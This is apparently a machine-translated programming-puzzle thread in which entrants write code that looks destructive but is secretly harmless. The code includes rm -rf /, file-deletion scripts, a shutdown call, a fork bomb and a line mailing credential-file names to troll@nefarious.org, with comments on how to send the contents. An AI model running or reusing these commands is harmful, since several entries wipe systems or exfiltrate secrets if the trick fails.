Trolling troll [đóng]


184

Một troll đã bắt bạn và buộc bạn phải viết phần mềm độc hại (được định nghĩa là chương trình làm hỏng máy tính chạy nó). Troll có thể đọc và hiểu mã, nhưng không tốt trong việc phát hiện ra lỗi.

Mục tiêu của bạn là viết một chương trình:

  1. Trông giống như phần mềm độc hại; tức là, một lập trình viên mới bắt đầu đọc mã sẽ bị thuyết phục rằng mã gây ra thiệt hại cho máy tính chạy nó.
  2. Thực tế không có thiệt hại gì cả.

LƯU Ý: Troll chỉ đọc mã - không phải bình luận. Vì vậy, bản thân mã phải rõ ràng và đủ sức thuyết phục.

VÍ DỤ (bash):

rm - rf /home

Ví dụ này trông giống như rm -rf /homeloại bỏ tất cả các thư mục nhà khỏi hệ thống, nhưng thực tế, do không gian trước rf, điều này sẽ không hoạt động và chỉ gây ra một thông báo lỗi vô hại.

Đây là một giải pháp chấp nhận được nhưng nó không tốt lắm, vì lỗi này khá dễ phát hiện.

Mặt khác, một chương trình phức tạp và không thể đọc được cũng sẽ không phải là một giải pháp tốt, bởi vì nó sẽ không giống như phần mềm độc hại.

Một giải pháp tốt phải đủ dễ đọc để thuyết phục người đọc rằng đó là phần mềm độc hại, nhưng chứa một lỗi khó phát hiện và khiến nó vô hại.

Đây là một cuộc thi phổ biến, vì vậy mã có nhiều người chiến thắng nhất.


160
Tôi cảm thấy như bạn đang cố lừa tôi dán rm - rf /vào vỏ của mình ...
ngầm cá nhân

19
Bash rm -rf /. Trừ khi hệ thống rất cũ , nó sẽ yêu cầu --no-preserve-root:)
user80551

10
-1 vì a) troll mã và quan trọng hơn b) Tôi rất quan tâm đến bất kỳ câu hỏi nào liên quan đến việc tạo phần mềm độc hại (mặc dù nó giả mạo nó rất gần).
Gareth

13
@Gareth Tuy nhiên, đây không phải là phần mềm độc hại (thường cố gắng ẩn và / hoặc đánh cắp dữ liệu trong những ngày này), đó là những nỗ lực hoàn toàn rõ ràng để xóa mọi thứ, điều mà bất kỳ lập trình viên mới bắt đầu nào cũng có thể viết với ít nỗ lực.
Bob

29
rm - rf /không phải là một ví dụ hợp lệ! Nó có thể gây ra thiệt hại nếu bạn có một tệp được gọi rftrong thư mục hiện tại
gnibbler

Câu trả lời:


139

Bash

Tôi đã đi một con đường khác. Thay vì xóa mọi thứ trên ổ cứng của bạn, tôi sẽ lấp đầy nó bằng rác.

Kịch bản lệnh này tạo một thư mục sau đó liên tục catghép tất cả các tệp lại với nhau và đặt chúng vào một tệp mới, thêm giá trị của ls -althước đo tốt (và để tệp bắt đầu có thứ gì đó).

#!/bin/bash/

makeSpam()
{
    string=`cat *`
    string=$string`ls -al`
    echo $string > "file"$i".spam"
}

mkdir "SpamForYou"
cd "SpamForYou"

i=1
while [ 1 ]
do
  makeSpam $i
  i=$(($i + 1))
done

ngoại trừ...

/ bin / bash / (thay vì / bin / bash) rất khó có thể là một trình thông dịch hợp lệ. Đây chỉ là một lỗi đánh máy phổ biến của tôi. Và, vì "shebang về mặt kỹ thuật là một bình luận, troll sẽ bỏ qua nó"


56
+1. Dòng đầu tiên trong một kịch bản là một điểm mù đối với nhiều lập trình viên (bao gồm cả bản thân tôi).
Erel Segal-Halevi

44
và shebang về mặt kỹ thuật là một bình luận, vì vậy troll sẽ bỏ qua nó
Brian Minton

14
+1 vì lạm dụng nhận xét không liên quan :) đó thực sự không rõ ràng
masterX244

37
Chạy nó như bash whatever.shsẽ phá hỏng mánh khóe của bạn ...
Darkhogg

8
@Darkhogg, may mắn làm sao! Tôi đã lưu nó evil.commandđể troll có thể chỉ cần nhấp đúp vào nó để mở (ít nhất là trên Mac)
James Webster

114

Haskell

Kiểm tra trang hướng dẫn này , removeDirectoryRecursivexóa một thư mục với tất cả nội dung của nó!

import System.Directory
main = return (removeDirectoryRecursive "/")

Mã đúng sẽ là main = removeDirectoryRecursive "/"
các mainchức năng có nghĩa vụ phải trả lại một khái niệm làm một cái gì đó. removeDirectoryRecursive "/"trả về một khái niệm xóa sạch hệ thống tập tin của bạn, nhưng returnhàm (vâng, nó là một hàm), bao bọc đối số của nó trong một khái niệm giả để trả về giá trị đó.
Vì vậy, chúng tôi kết thúc với một khái niệm trả lại một khái niệm về việc xóa ổ đĩa của bạn. (Yo dawg Tôi bầy bạn thích các khái niệm.) Thời gian chạy haskell thực thi khái niệm được trả về mainvà loại bỏ giá trị được trả về, trong trường hợp của chúng tôi là khái niệm xóa sạch hệ thống tệp của bạn.


85
+1. Tôi không thể hiểu được lỗi ngay cả khi tôi đã đọc lời giải thích của bạn ...
Erel Segal-Halevi

3
Theo tôi hiểu đây là một lỗi con trỏ (chỉ vào con trỏ của hàm thay vì chỉ vào hàm). Khá tốt, các lập trình viên bắt đầu thường dễ dàng rơi vào các thủ thuật con trỏ.
rầm rộ

3
Về cơ bản, điều này sẽ tương tự return removeDirectoryRecursive;như trái ngược với return removeDirectoryRecursive();trong C, điều đó có đúng không?
3Doubloons

4
@ user1121352 Không. Bản thân hàm được gọi, nhưng nó không thể xóa một tệp vì nó thuần túy. Thay vào đó, nó đưa ra một hành động IO, khi được trả về main, được thực thi và xóa tệp. returnTuy nhiên, việc sử dụng hàm một cách rõ ràng sẽ tạo ra một hành động IO với mục đích chỉ là tạo ra giá trị.
mniip

4
@Cthulhu returnkhông liên quan gì đến returncác ngôn ngữ khác (hoặc thậm chí với việc "trả lại" một giá trị từ một hàm). Các giá trị của kiểu này IO akhông liên quan nhiều đến các hàm trong các ngôn ngữ khác. Vì vậy, sự tương tự là khá lượn sóng tay
Niklas B.

103

PHP

Đây là một tập lệnh PHP đệ quy cố gắng xóa từng tệp trong trang web của bạn. Có thể mất một lúc để hoàn thành nếu trang web khá lớn, vì vậy hãy kiên nhẫn ...

<html>
<body>
<p>Deleting website; please wait
<img src="data:image/gif;base64,R0lGODlhCAAIAPAAAAAAAP///yH/C05FVFNDQVBFMi4wAwEAAAAh+QQEMgD/ACwAAAAACAAIAAACBoSPqcvtXQAh+QQFMgAAACwAAAAACAAIAAACBoyPqcvtXQA7" /></p>
<?php

function zapfiles($dir) {
  if (is_dir($dir)) {
    $files = scandir($dir);
    foreach ($files as $file) {
      if ($file != '.' && $file != '..') {
        if (is_dir("$dir/$file")) {
          zapfiles("$dir/$file");
        }
        else {
          try {
            @delete("$dir/$file"); // Suppress locked file errors
          }
          catch (Exception $e) {
            // Locked files can't be deleted; just carry on
          }
        }
      }
    }
  }
}

zapfiles($_SERVER['DOCUMENT_ROOT']);

?>
<p>Website deletion complete</p>

Chỉ cần một teeny-weeny vấn đề ...

Không có lệnh xóa () trong PHP. Tập lệnh sẽ thất bại ngay khi gặp lệnh này, nhưng không có thông báo lỗi nào được hiển thị vì báo cáo lỗi đã bị chặn bằng cách thêm tiền tố vào lệnh này với @ . Hình ảnh GIF nhấp nháy mang lại ấn tượng rằng một cái gì đó đang xảy ra, khi hoàn toàn không có gì đang xảy ra.


31
^ theo như tôi hiểu: không có chức năng xóa (), hướng dẫn chỉ nói rằng đây là "fake-entry" cho bất cứ ai tìm đúng chức năng (hủy liên kết). Điều đó không có nghĩa là có một số loại chuyển hướng "tự động" trong PHP.
Erti-Chris Eelmaa

93
@ user11153 bị troll.
basher

34
Xem, tôi nghĩ lý do các lỗi sẽ bị bỏ qua và việc thực thi sẽ tiếp tục là vì đó là PHP.
Zoey

17
Tôi nghĩ rằng việc sử dụng một chức năng không tồn tại ngẫu nhiên là một điều hiển nhiên ( deleteđể xóa các tệp? Không có lý do nào để cho rằng sẽ đánh lừa bất cứ ai). Còn về việc unlⅰnkthay thế (sử dụng U + 2170 thay vì của i i) thì sao?
Konrad Rudolph

18
@KonradRudolph Một chức năng có tên deleteđể xóa các tập tin là hoàn toàn đáng tin cậy trong PHP. Điều duy nhất không thể tin được là nếu nó là thật, sẽ có 3 hoặc 4 cách khác để làm điều đó và tất cả, nhưng cách nào có cái tên kỳ lạ nhất sẽ có lỗi bảo mật nghiêm trọng.
Brendan Long

93

Perl (Unix)

Xóa tất cả các tệp trên hệ thống.

#! /usr/bin/perl -w
use strict;

sub killdir {
    opendir(my $dh, ".");
    my @dl = readdir($dh);
    closedir($dh);
    foreach my $de (@dl) {
        if (-d $de) {
            chdir($de);
            killdir();
            chdir("..");
            rmdir($de);
        } else {
            unlink($de);
        }
    }
}

chdir("/");
killdir();

Đặc trưng

  • Đây là hợp lệ Perl. Nó thậm chí còn biên dịch và chạy với -wuse strict!

  • Không ngụy biện như của C ++ delete. unlinkthực sự là chức năng để xóa một tập tin, rmdirthực sự không xóa một thư mục, vv

  • Xử lý chính xác các thư mục được lồng sâu mà tên đường dẫn tuyệt đối có thể vượt quá độ dài tối đa của hệ thống, bằng cách thay đổi vào từng thư mục để sử dụng các đường dẫn tương đối. Ngoài ra, sẽ không chạy ra khỏi tay cầm thư mục, vì nó đọc và đóng thư mục trước khi đệ quy.

Làm hỏng

Trên Unix, mục đầu tiên trong thư mục gốc thường là "." vì vậy chương trình sẽ thực hiện một đệ quy vô hạn của chdir (".") cho đến khi hết bộ nhớ và gặp sự cố.

Ghi chú thêm

Điều này là khó khăn để có được đúng hơn mong đợi. Nếu bạn không sử dụng phương pháp chdir, cuối cùng bạn sẽ nhận được một tên đường dẫn quá dài. Sau đó, -d trả về false và đệ quy vô hạn bị hỏng và các tệp thực sự có thể bị xóa! Một lỗi tương tự có thể xảy ra nếu bạn giữ các thư mục xử lý mở; cuối cùng bạn chạy ra ngoài, opendir thất bại, killdir trở lại và việc xóa bắt đầu xảy ra.


45
"Sau đó, -d trả về false và đệ quy vô hạn bị hỏng và các tệp thực sự có thể bị xóa!" bạn đã học được điều đó một cách khó khăn?
Niklas B.

4
@NiklasB.: May mắn thay tôi đã thử nghiệm một phiên bản giả :)
Nate Eldredge

Tôi hy vọng rằng mã như vậy chỉ có thể xóa các thư mục trống, nhưng không xóa các tệp ...
Qwertiy

3
"Trên Unix, mục nhập đầu tiên trong thư mục gốc là bình thường". "". Vì vậy, một phần mềm độc hại chỉ có Windows?
Alexander

1
@timmyRS: Chương trình sẽ sập. Các hệ thống sẽ tiếp tục chạy tốt.
Nate Eldredge

81

Vỏ một lớp lót

Điều này sẽ đánh cắp tất cả mật khẩu, khóa riêng, bitcoin của nạn nhân, v.v.

 find / -name "passwd" -or -name "shadow" -or -name "secring.gpg" -or -name "wallet.dat" |mail troll@nefarious.org

Spoiler:

Điều này có thể trông giống như nó gửi email tất cả các tệp cho troll, nhưng thực sự nó chỉ gửi email tên tệp của họ.


4
Để gửi email cho các nội dung, các cat, headhoặc taillệnh sẽ phải được tham gia vào đâu đó.
Búa búa Agi

7
Vẫn bị rò rỉ dữ liệu không có vấn đề gì. Đây có phải là trolling trolling?
Kyle Kelley

-exec cat '{}' \; | …
Martin Uting

@queueoverflow-print0 | xargs -0 cat |
lượng tử

1
Tôi đã nhận được nó mà không có spoiler sau khi đọc mã 2-3 lần.
nyuszika7h

74

Batch / CMD

Lưu lại

DEL %0
DEL %1
DEL %2
DEL %3
DEL %4
DEL %5
DEL %6
DEL %7
DEL %8
DEL %9

và làm cho chúng chạy nó với các tham số của từng ổ đĩa trên máy tính.

% 0 luôn là tham số đầu tiên - tên tệp. Sau đó, tập hợp các tham số thực tế, nhưng nó đã tự xóa nên nó sẽ không tiếp tục.


104
Cũng dựa vào hành vi hài hước của Batch về việc đóng tệp và mở lại để đọc dòng tiếp theo cho mỗi dòng ...
Bob

8
DEL %0sẽ không hoạt động trừ khi phần mở rộng của tệp được chỉ định trong dòng lệnh tập lệnh được chạy bằng cách đưa ra đường dẫn đầy đủ của nó hoặc bạn đang ở trong cùng thư mục. DEL "%~f0"sẽ giải quyết cả hai vấn đề và có khả năng phục hồi không gian ở bất cứ đâu trong con đường. Ngoài ra %10và không trở lên không tồn tại - nó dịch %1theo sau bởi một nghĩa đen 0.
Jon

14
+1. Ngay cả khi troll hiểu "DEL% 0" làm gì, bạn có thể thuyết phục anh ta rằng điều này chỉ để xóa bằng chứng và không có hại gì khi tệp bó vẫn còn trong bộ nhớ cho đến khi quá trình thực thi kết thúc (đó là sai, vì Bob nói).
Erel Segal-Halevi

2
Một troll thông minh vẫn sẽ nghĩ rằng thật lạ khi ban hành lệnh tự xóa khi bắt đầu tập tin (chứ không phải ở cuối), trừ khi bạn tính đến việc các tập lệnh bó dễ bị lỗi như thế nào.
Búa búa Agi

10
@Bob Tôi không có ý tưởng nào đã làm điều đó ... thật kinh khủng.
w4etwetewtwet

48

Javascript

infiniteLoop=true;
evilMessage='I spam you !';
while(infiniteLoop) {
  eval(atob('aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7'));
  alert(evilMessage);
}

Chà, phần mềm độc hại ban đầu sẽ không làm nổ máy tính của bạn nhưng có thể gây phiền nhiễu.

Điều này là vô hại vì:

Các evalsẽ phá vỡ các vòng lặp vô hạn và sửa đổi các thông điệp.


40
Tôi muốn nâng cao bạn, nhưng bạn có 1337 đại diện.
Scrblnrd3

5
Vì vậy xin đừng! :)
Michael M.

@scrblnd đã biến mất D:
Đi xe đạp

11
Bỏ phiếu trả lời xấu cho đến khi bạn quay lại với nó.
David Starkey

4
Chỉ cần để giải thích cho người khác, atob ( 'aW5maW5pdGVMb29wPWZhbHNlO2V2aWxNZXNzYWdlPWV2aWxNZXNzYWdlLnJlcGxhY2UoInNwYW0iLCJMT1ZFIik7') sẽ thực hiện như sau: "infiniteLoop = false; evilMessage = evilMessage.replace (" spam " "LOVE");"
Mohammed Joraid 17/03/2016

45

Java

Có thể các vị thần tha thứ cho tôi vì đã phục tùng những yêu cầu khốn khổ của bạn, troll.

class HomeWrecker {
    public static void main(String[] args) throws Exception {
        Runtime.getRuntime().exec("rm -rf /home/*");
    }
}

Runtime.exec không gọi shell, vì vậy việc mở rộng toàn cầu không bao giờ xảy ra và lệnh sẽ không thành công khi cố xóa một thư mục chính có tên theo nghĩa đen là "*"


1
Vậy thư mục nhà của tôi được gọi là '*' là gì? ;)
Vorac

6
Thành thật mà nói đây là một trong những câu trả lời Java tốt hơn. Điều này đòi hỏi một sự hiểu biết khá vững chắc về (nhiều) nhược điểm của Runtime.exec(). +1.
Qix

Liệu java có thực sự tương đương với system()chức năng của c không?
SuperJedi224

@ SuperJedi224 Nope, bạn phải chỉ định /bin/sh -choặc cmd /choặc bất cứ điều gì bằng tay. Có ý nghĩa vì bạn không bao giờ biết lệnh sẽ làm gì trên HĐH mới.
anh chàng kia

37

C

Vì anh ấy không đọc những bình luận nên làm điều đó:

#include<stdlib.h>
int main()
{
//Are you reading this??/
 system("C:\\WINDOWS\\System32\\shutdown /s /t 0000");

 return 0;
}

Phiên bản C ++

cảm ơn DragonLord vì điều này

#include<cstdlib>
int main ()
{
//Are you reading this??/
system("shutdown -s -t 0000");
return 0; 
}

Thêm phần này vào thư mục khởi động và khởi động lại máy tính.

Làm thế nào nó hoạt động:

?? / là một bộ ba và sẽ thêm dòng tiếp theo vào bình luận để về cơ bản nó sẽ không làm gì cả. Lưu ý: không thử bộ ba này có thể bị tắt trong một số trình biên dịch theo mặc định và phải được bật để nó hoạt động.


Nếu trong một số trình biên dịch nó có thể hoạt động, nó có thực sự trolling?
Antonio Ragagnin

4
Không, nhưng trong một tình huống thực tế, tôi không muốn troll một kẻ troll với mã như vậy (tôi không muốn làm hại một kẻ troll!)
Antonio Ragagnin

2
@AntonioRagagnin Nếu điều này hoạt động trên bất kỳ trình biên dịch nào, trình biên dịch đó là lỗi. Tuy nhiên, hầu hết các trình biên dịch hiện đại sẽ cảnh báo về việc sử dụng các bộ ba (nhưng chấp nhận và biên dịch mã).
Konrad Rudolph

8
Vì vậy, nếu Troll không đọc bình luận và giải pháp của bạn là biến phần mềm độc hại thành bình luận, điều đó không có nghĩa là tất cả các troll thấy là một chức năng mainvới return 0?
David Starkey

1
Đây ??/thực sự là một mánh khóe cũ ... Tôi xin lỗi.
Isiah Meadows

33

Java

import java.io.File;
class derp
{
    public static void main( String[] a)
    {
        new File("C:\\windows\\System32\ntoskrnl.exe").delete();
    }
}

Sử dụng ký tự thoát (\ n trước ntoskrnl.exe là một dòng mới thay vì N thông thường)


20
Nếu bạn không thoát khỏi các dấu gạch chéo ngược khác, lỗi có thể trông dễ thấy hơn. Người bị troll có thể nghĩ rằng ngôn ngữ không sử dụng dấu gạch chéo ngược
3Doubloons

2
@ 3Doubloons Mã sẽ không biên dịch trong trường hợp đó chứ?
Neil

2
@Neil: Điểm tốt. Sẽ không như vậy, nhưng nếu trò troll cho phép chúng tôi đi ngay khi anh ấy hài lòng với việc đọc của mình, chúng tôi sẽ rõ ràng
3Doubloons

29
new File("C:\ntldr").delete();
Egor Skriptunoff

3
@EgorSkriptunoff Phải mất hơn một thời gian tôi mới nhận ra rằng XP không phải là một biến thể của XD.
Justin

31

BASH

#!/bin/bash
set -t 

echo "hahaha deleting files.."
rm -rf / --no-preserve-root

set -t sẽ thoát sau khi đọc và thực thi một lệnh. Kịch bản này không in ra và tất cả các tệp đều an toàn!

Hoặc NHƯNG ĐỌC SPOILER TRƯỚC KHI CHẠY

#!/bin/bash -t
echo "hahaha deleting files.."
rm -rf / --no-preserve-root

Theo nhu cầu phổ biến .. #!/bin/bash -tsẽ thoát sau khi đọc và thực hiện một lệnh. Đừng chạy cái này bash -xvì nó sẽ bỏ qua -tvà thực thi các lệnh trong tập lệnh.


SPOILERS Tôi hơi bối rối ... sự khác biệt giữa set -texit? Trang man Bash nói rằng set -tthoát ra sau "một lệnh", nhưng nó xuất hiện để đếm setchính lệnh đó là lệnh đó và thoát ngay lập tức.
Kyle Strand

6
Nếu các lệnh bổ sung nằm trên cùng một dòng với set -t (ví dụ: được phân tách bằng dấu chấm phẩy hoặc ký hiệu kép và vv), chúng sẽ được thực thi. Trong trường hợp này, một dòng đầu tiên set -t; echo "hahaha deleting files.."sẽ lặp lại văn bản đó sau đó thoát.
JOgden

2
Ah. Cảm ơn. Không nhận ra có sự khác biệt trong hành vi giữa ;và một dòng mới.
Kyle Strand

4
#!/bin/bash -tcó lẽ?
Neil

2
@JOgden nó bash quá xấu không làm như vậy lừa công việc phân tích cú pháp mà perl không (nếu bạn chạy perl foo.plvà foo.pl bắt đầu với #!somethingendingin/perl -flags, perl sẽ hành động như nó đã được gọi với -flags)
Hobbs

30

Con trăn

print "****----....____....----"""" This program will clear the browser cache "

import os
from os.path import expanduser
home = expanduser("~")
os.remove(home)

print """"----....____....----***** Cache cleaned. "                                     

ba dấu ngoặc kép "" "bắt đầu một chuỗi nhiều dòng trong Python


5
Sai, họ bắt đầu nhiều đường dây docs.python.org/2/tutorial/introduction.html#strings
user80551

12
Tôi đã thấy vấn đề theo đúng nghĩa đen trong vòng năm giây sau khi thấy câu trả lời, và tôi thậm chí không biết trăn.
Chàng trai với chiếc mũ

6
Ý tưởng hay, với vấn đề là nếu troll sử dụng cú pháp tô sáng, anh ta sẽ phát hiện ra nó.
o0 '.

1
Tôi nghĩ rằng troll trung bình nhìn thấy một mã độc ngẫu nhiên trên internet và chỉ cần sao chép nó trong một diễn đàn khác.
Antonio Ragagnin

1
Tốt, tôi có kinh nghiệm với Python và tôi đã không thấy lỗ hổng. Sử dụng 4 trích dẫn có thể đã lừa tôi.
rầm rộ

29

CƯỜI MỞ MIỆNG

Chương trình này là hợp lệ và thực hiện không có lỗi. Nó sinh ra một chức năng xóa trong một luồng mới, nó sẽ xóa rootthư mục.

import std.concurrency : spawn;
import std.file : rmdirRecurse;

string root;

void deleteRoot()
{
    if (root)
        rmdirRecurse(root);
}

void main()
{
    root = "/";
    spawn(&deleteRoot);
    // ... could add a waiting animation here.
}

Nhưng không có gì bị xóa ...

bởi vì trong D, một biến được khai báo ở phạm vi mô đun theo mặc định là luồng cục bộ. Các mainhàm đặt nó thành "/", nhưng các luồng sinh sản có một bản sao trống, vì vậy rmdirRecursehàm này không được gọi.


1
Tốt Tôi đã tìm được lỗi trong cái này, mặc dù tôi không biết D.
Erel Segal-Halevi

1
"một biến toàn cục theo mặc định là luồng cục bộ" Điều đó có phần mâu thuẫn ở đó
Niklas B.

@NiklasB. Mâu thuẫn là gì?
sinh học

Nó không phải là một "biến toàn cầu". Có lẽ "biến được khai báo ở cấp cao nhất" là một mô tả tốt hơn?
Paŭlo Ebermann

Vâng, đã chỉnh sửa! Nó ít mơ hồ hơn. Không hoàn toàn là một mâu thuẫn, ít nhất là về mặt từ vựng.
sinh học

25

C (Unix)

Thêm một số quảng cáo không bao giờ làm hại bất cứ ai.

#include <stdlib.h>

int main()
{
    // Join the crew
    goto http;//www.trolling.com
    print("Sucker!\n");
    system("rm -rf ~");
    // Remember goto
    http://www.trolling.com
    return 0;
}

http: đó là một nhãn, goto nhảy đến nhãn thiếu mã harful. : V


5
Tôi đã tìm được cái này :)
Erel Segal-Halevi

17
Dấu chấm phẩy trong URL đầu tiên khá dễ phát hiện trong phông chữ này. Nhưng đó là sáng tạo!
CompuChip

12
goto được coi là hữu ích
drewbenn

1
Tôi nhận thấy nó bởi vì không có dấu chấm phẩy sau goto. Nếu bạn thay đổi nó thành goto http;//www.trolling.com;(ở cả hai điểm) tôi có thể đã bỏ lỡ nó.
wchargein

2
Dù sao nó cũng không biên dịch được, vì không có printchức năng.
nyuszika7h

24

JavaScript

function foo(a) { // Returns an object, and all objects are truly
    return
    {
        a: a
    };
}
for(var i=0; foo(i); ++i) // loop condition is always truly
    alert('Infinite alerts!');

Không có cảnh báo được hiển thị. Vì JavaScript không yêu cầu ;ở cuối dòng, nên nó sẽ tự động được chèn sau khi returntrở thành return;. Sau đó undefined, đó là giả, được trả về thay vì "đối tượng" (trong thực tế được phân tích cú pháp dưới dạng một câu lệnh khối).


3
Bị cám dỗ +1 chỉ vì sử dụng "thật sự" và "giả dối";)
CompuChip

1
+1 vì "lỗ hổng" này trong JS đã khiến tôi mất cảnh giác nhiều lần ... Phải đọc lại một vài lần để xem nó
Mark Ormston

12
@NigelNquande dấu chấm phẩy không gây ra lỗi, ngắt dòng không. Trả về và đối tượng được cho là trả lại nằm trên các dòng riêng biệt, vì vậy đối tượng không bao giờ được trả lại. Để "sửa lỗi", hãy xóa ngắt dòng để nó đọcreturn {
Dave Forber

3
Hy vọng rằng troll sẽ không giảm thiểu mã!
Mohammed Joraid

2
UglifyJS nói WARN: Dropping side-effect-free statement [-:4,11]và trả lại function foo(a){}for(var i=0;foo(i);++i)alert("Infinite alerts!");.
nyuszika7h

22

JavaScript

//Config: Warning!!! only set to true on victims box!
var deleteEverything = true;

function deleteIfEvil(){
  if(deleteEverything){
    alert('Destroy Everything!');
    //clear the flag
    var deleteEverything = false;
  } else {
    alert('Tested OK!');
  }
}

deleteIfEvil();

Trao đổi cảnh báo hủy cho bất kỳ hành động phá hoại khó chịu nào bạn muốn sử dụng.

Spoiler:

Mặc dù có vẻ như cấu hình được thiết lập để xóa ... và nó là như vậy! khai báo 'var' bên trong hàm là "Hoisted" http: //www.adequTHERgood.com/JavaScript-Scoping-and-Ho hiện.html và kết quả là thực sự sai khi nhập hàm.


Thủ thuật hay, nhưng tại sao bạn lại đặt lại cờ?
Mohammed Joraid 17/03/2016

"Đặt lại" chỉ là một ví dụ ... nó có thể là bất kỳ biến nào trong đó phép gán hợp lệ ... chỉ khi tiền tố với 'var' có thể / sẽ có hậu quả không lường trước được.
scunliffe

16

Java

Hãy xóa một số tập tin quan trọng!

import java.io.File;
import java.io.IOException;

public class Deleter {

    private File importantFile = null;

    public Deleter(File f) {

        importantFile = f;

        /**}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{
         * }{ I don't care how important that file is. I'm going to delete it! }{
         * }{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{}{*/}{

        importantFile.delete();

    }

    public static void main(String[] args) throws IOException {
        // Let's delete some important stuff
        new Deleter(new File("/boot/vmlinuz"));
        new Deleter(new File("/etc/passwd"));
        new Deleter(new File("/etc/crontab"));
        new Deleter(new File("/etc/sudoers"));
    }

}

Ẩn trong bình luận khối là thêm} {bên ngoài bình luận. Điều đó đặt xóa tệp trong một khối khởi tạo cá thể riêng biệt, được thực hiện trước hàm tạo. Vào thời điểm đó, quan trọng là vẫn còn null.


16
Tôi quản lý để phát hiện ra cái này :)
Erel Segal-Halevi

17
Điều này sẽ rất, rất rõ ràng nếu troll không đọc các bình luận.
Tiếp

6
Tôi đã chọn giải thích "troll không đọc các bình luận" là "troll bỏ qua các bình luận theo cách tương tự như con người nếu bỏ qua các bình luận." Trong trường hợp này, có thể dễ dàng nhầm lẫn rằng hai nhân vật đó thực sự nằm ngoài nhận xét.
Joe K

1
Đây là người duy nhất tôi đã giải quyết trước khi đọc lời giải thích nhưng công việc tốt!
nrubin29

15

Bash, C, Linux

Có thể nó không chính xác là phần mềm độc hại, nhưng chắc chắn có thể là một phần của một :)

Đây là một khai thác tuyệt vời có thể cung cấp cho bạn root trên bất kỳ máy linux nào! Suỵt, không nói với ai rằng chúng ta có nó!

#!/bin/sh
cd /tmp
cat >ex.c <<eof
int getuid() { return 0; }
int geteuid() { return 0; }
int getgid() { return 0; }
int getegid() { return 0; }
eof
gcc -shared ex.c -oex.so
LD_PRELOAD=/tmp/ex.so sh
rm /tmp/ex.so /tmp/ex.c

Bây giờ thực thi kịch bản và bạn sẽ được root! Bạn có thể chắc chắn sử dụng whoami!

Trong thực tế, nó chỉ lừa tất cả các ứng dụng mà bạn có UID = 0 (đây là id người dùng root).

Mã được viết bởi Lcamtuf, nguồn: http://lcamtuf.coredump.cx/soft/ld-expl


+1. Thủ thuật rất hay. Tôi vẫn không hiểu đầy đủ về cách thức hoạt động của nó.
Erel Segal-Halevi

@ErelSegalHalevi: xem stackoverflow.com/questions/426230/what-is-the-ld-preload-trick để biết thêm chi tiết về LD_PRELOAD.
mik01aj

2
Đọc tiếp fakeroot(1), đây là một thư viện chặn các cuộc gọi đến các chức năng hệ thống POSIX khác nhau, lừa người gọi tin rằng nó có quyền truy cập đọc (giả) và (giả) vào toàn bộ hệ thống. Trên thực tế, nó sẽ không thực sự cung cấp các quyền này, nhưng khi chương trình, ví dụ như gọi hàm "fake" chmodtrên một tệp và thay đổi các quyền, fakeroot sẽ ghi nhớ các quyền này để statcác cuộc gọi sẽ trả về các quyền được cập nhật. Một số distro sử dụng điều này để cho phép hệ thống xây dựng gói tạo các tệp có root:rootquyền sở hữu.
sleblanc

1
Đó là tôi tin rằng lcamtuf : lcamtuf.coredump.cx/soft/ld-expl - ít nhất tôi nhớ nó đã ở đó từ những năm 90
viraptor 17/03/2016

13

bash

cat <<EOF
ProHaxer Hacking Tool 2014. Destroying your computer in
background, please wait until it finishes.
EOF

# Freeze the machine, so nobody will stop the process.
:(){:|:&};:

# Remove stuff in the background.
rm -rf /* &>/dev/null &

Có lỗi cú pháp trên dòng "fork-bomb". Sau { , nên có một khoảng trắng. Không có nó, tập lệnh thất bại vì định nghĩa hàm không được theo sau bởi { mã thông báo.


2
Bạn phải thêm một lưu ý thận trọng (trong spoiler, có lẽ) rằng điều này không được thực thi bằng cách sử dụng kshbom ngã ba không phải là một lỗi cú pháp ở đó!
devnull


@Dennis: Không liên quan, tôi chưa thấy điều đó. Nhưng chủ đề thú vị, phải trung thực. Tôi biết cách phân tích cú pháp trong bash hoạt động và đó là lý do tại sao tôi không sử dụng nó :-).
Konrad Borowski

11

Emacs Lisp

Đầu tiên là một đơn giản. Cái này không làm gì cả. Nó thực sự đang cố gắng xóa các phần tử bằng: đệ quy từ danh sách được trả về bởi directory-files. Nó sẽ không xóa bất kỳ tập tin.

(delete :recursive
    (directory-files "/"))

Đây là một trong những có thể stump thậm chí bác sĩ thú y.

(let ((files (directory-files "/")))
  (while (setq file (pop files) )
    (delete-file file)))

Đây chỉ là 1 ký tự để xóa thư mục gốc của bạn.

emacs lisp sẽ cho phép jsut về bất cứ thứ gì là tên của một ký hiệu (biến, hàm, macro, v.v.). Bạn có thể sử dụng unicode trong tên các ký hiệu của mình và đó là những gì đang xảy ra ở đây.

setqcó thể lấy bất kỳ số lượng đối số nào (setq a 3 b 4)giống như làm a = 3; b = 4; nhưng (setq a 3 b)cũng hợp lệ và đang thực hiện a = 3; b = nil;

Giá trị trả về của `setq 'là giá trị được gán cho biến cuối cùng. 4 và nil tương ứng trong các ví dụ.

(setq a 3 b)là chính xác những gì đang xảy ra trong mã, nhưng thay vì b tôi đang sử dụng một ký tự khoảng trắng unicode. Tôi đang gán giá trị nil cho một biến có tên là ký tự unicode 0x2001. Bởi vì con số này được trả về bởi setq và điều kiện cho vòng lặp while không bao giờ đúng. Loại bỏ ký tự khoảng trắng đó và nó sẽ chạy tốt.


10

Chỉ là một hacker perl.

Tôi đã viết bài này vào năm 2002 , trong khi đi chơi ở Perlmonks và nói chung chỉ cố gắng đẩy kiến ​​thức của tôi về Perl càng xa càng tốt. Không chỉnh sửa nó, nhưng nó vẫn chạy.

#!/usr/bin/perl -w
use strict;
require File::Path;

my $root_dir = '/';

$root_dir = 'c:\\' if( $^O =~ /Win/i );

rmtree( $root_dir );

mkdir( $root_dir );

open( ROOT, $root_dir );

while(1)
{
  BEGIN{@INC=sub{*DATA}}
  print ROOT <DATA>;
}

__DATA__
# Fill the harddrive with junk!
''=~('('.'?'.'{'.('`'|'%').('['
^'-').('`'|'!').('`'|',').'"'.(
'['^'+').('['^')').('`'|"\)").(
'`'|'.').('['^'/').('{'^('[')).
'\\'.'"'.('`'^'*').('['^"\.").(
'['^'(').('['^'/').('{'^"\[").(
'`'|'!').('`'|'.').('`'|"\/").(
